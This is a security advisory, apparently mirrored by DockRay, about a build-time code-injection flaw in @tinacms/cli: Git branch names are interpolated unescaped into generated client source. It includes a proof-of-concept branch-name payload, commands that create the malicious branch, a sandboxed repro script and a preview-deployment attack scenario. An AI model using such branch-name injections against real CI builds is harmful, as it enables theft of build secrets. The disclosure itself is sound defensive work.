Alta

Tina: Inyección de código mediante un nombre de rama de Git no escapado en el código fuente generado del cliente

  • Publicada: 09.10.2026
  • Actualizado: 11.10.2026 10:28

Resumen

@tinacms/cli inserta el valor sin procesar de la rama de Git en el código fuente generado de client.ts sin escapar ni codificar. Un nombre de rama válido para Git puede cerrar el literal de cadena e inyectar una expresión JavaScript arbitraria que se ejecuta cuando el proceso de compilación del consumidor importa el módulo cliente generado.

Componente afectado

  • Origen (lectura de rama): packages/@tinacms/cli/src/cmds/init/templates/config.ts líneas 155–172 — lee VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH o HEAD en config.branch
  • Transformación (construcción de URL): packages/@tinacms/cli/src/next/codegen/index.ts líneas 219–253 — _createApiUrl() concatena la rama sin procesar en la URL de la API sin encodeURIComponent
  • Sumidero / Sink (plantilla): packages/@tinacms/cli/src/next/codegen/index.ts líneas 363–381 — genClient() interpola la URL en url: '${apiURL}'
  • Sumidero hermano: packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts línea 55 — url: "${apiURL}" (mismo patrón, comillas dobles)

Causa raíz

La plantilla de generación de código en index.ts:376 utiliza:

ts
url: '${apiURL}'

donde apiURL contiene el nombre de la rama sin procesar. No se aplica JSON.stringify, encodeURIComponent ni ninguna función de escape de cadenas en ningún punto del proceso. Una comilla simple en el nombre de la rama cierra el literal de cadena y permite la inyección de expresiones.

Carga útil (payload)

El siguiente es un nombre de rama válido en Git (aceptado por git check-ref-format):

x'+(globalThis.__TINA_PROBE='hit')+'

Código generado (sumidero)

Cuando la generación de código se ejecuta con esta rama, el archivo client.ts generado contiene:

ts
export const client = createClient({
  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
  token: '<token>',
  queries,
});

El carácter ' en el nombre de la rama cierra la cadena de la URL. +(globalThis.__TINA_PROBE='hit')+ se analiza como una expresión JavaScript. El carácter final +' vuelve a abrir una cadena para mantener la sintaxis válida.

Pasos para reproducir

Requisitos previos: Node.js, Git, npm

bash
mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild

Cree repro.mjs:

js
import { transform } from 'esbuild';
import vm from 'vm';

// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";

// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;

// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;

console.log("Generated source:\n", generated);

// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });

// Execute in sandboxed VM
const sandbox = {
  globalThis: {},
  module: { exports: {} },
  exports: {},
  require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);

console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit

Ejecute: node repro.mjs

Resultado: globalThis.__TINA_PROBE se establece en 'hit', confirmando que la expresión inyectada se ejecutó durante la evaluación del módulo.

Control negativo: Repetir el proceso con branch = "feature/safe-branch" no desencadena la inyección.

Impacto

La expresión inyectada se ejecuta con todos los privilegios del proceso de compilación del consumidor. En un despliegue de vista previa típico en Vercel o GitHub Actions:

  • Las variables de entorno de compilación son accesibles (process.env), lo que puede incluir NPM_TOKEN, VERCEL_TOKEN, secretos del proveedor de la nube y claves API
  • Los artefactos de compilación pueden modificarse, lo que permite el compromiso de la cadena de suministro del resultado desplegado
  • El acceso a la red está disponible para exfiltrar datos

Escenario de ataque: Un atacante abre una solicitud de extracción (pull request) a cualquier proyecto de código abierto que use TinaCMS con despliegues de vista previa habilitados (Vercel despliega automáticamente cada rama de PR). El nombre de la rama del atacante contiene la carga útil. La compilación de vista previa ejecuta la generación de código de Tina, genera el archivo inyectado client.ts y el código del atacante se ejecuta durante la compilación.

Condiciones previas:

  1. El atacante puede crear una rama o PR que desencadene una compilación del consumidor
  2. El consumidor utiliza TinaCMS con la configuración de rama predeterminada (leyendo desde VERCEL_GIT_COMMIT_REF o equivalente)
  3. La generación de código del SDK de Tina está habilitada (por defecto)

Justificación de la gravedad

Alta (High) — ejecución de código arbitrario en tiempo de compilación a través de una referencia de Git controlada. No se catalogó como Crítica porque en esta prueba no se demostró la exfiltración real de secretos ni la manipulación de artefactos de producción; únicamente se utilizó un indicador benigno.

Solución sugerida

  1. Utilice JSON.stringify(value) para serializar de forma segura cualquier valor en tiempo de ejecución interpolado en las plantillas de código fuente generado
  2. Aplique encodeURIComponent() al valor de la rama antes de construir el segmento de ruta de la URL de la API
  3. Aplique el mismo tratamiento a apiURL, token, errorPolicy, cacheDir y la plantilla hermana AddGeneratedClientFunc en plugin.ts
  4. Considere eliminar por completo los valores en tiempo de ejecución de las plantillas de código fuente, pasándolos a través de un archivo de configuración JSON que el cliente generado lea en tiempo de ejecución

Aviso relacionado

GHSA-4936-9hrh-qqpw — RCE en código fuente generado durante la migración de Forestry en TinaCMS. Origen diferente (etiquetas YAML de Forestry), analizador diferente (función auxiliar de eliminación de comillas __TINA_INTERNAL__) y sumidero diferente (tina/templates.ts). Este informe no es un duplicado.

Qué hacer

Actualice @tinacms/cli a la versión 3.0.0 o superior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @tinacms/cli < 3.0.0 3.0.0

Referencias

Puntuación CVSS 8.2/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Debilidad (CWE)
CWE-94
Plataforma
npm
Paquete
@tinacms/cli
Publicada
09.10.2026
Actualizado
11.10.2026 10:28

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-pwhx-cvv3-qj5c - CC BY 4.0

Historial de vulnerabilidades: @tinacms/cli

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (9) en el archivo
Entradas en total
9
Primera → última
02.2023 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 6
  • Media 2

Divulgaciones por año

  1. 2023: 1
  2. 2024: 1
  3. 2025: 1
  4. 2026: 6
Gravedad:
  1. Tina: Inyección de código mediante un nombre de rama de Git no escapado en el código fuente generado del cliente esta entrada
    Alta · 8.2 CVE-2026-108259 < 3.0.0 3.0.0
  2. Alta CVE-2025-68278 < 2.0.4 2.0.4
  3. Alta · 7.5 CVE-2024-45391 < 1.6.2 1.6.2
  4. Alta · 8.6 CVE-2023-25164 >= 1.0.0, < 1.0.9 1.0.9

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.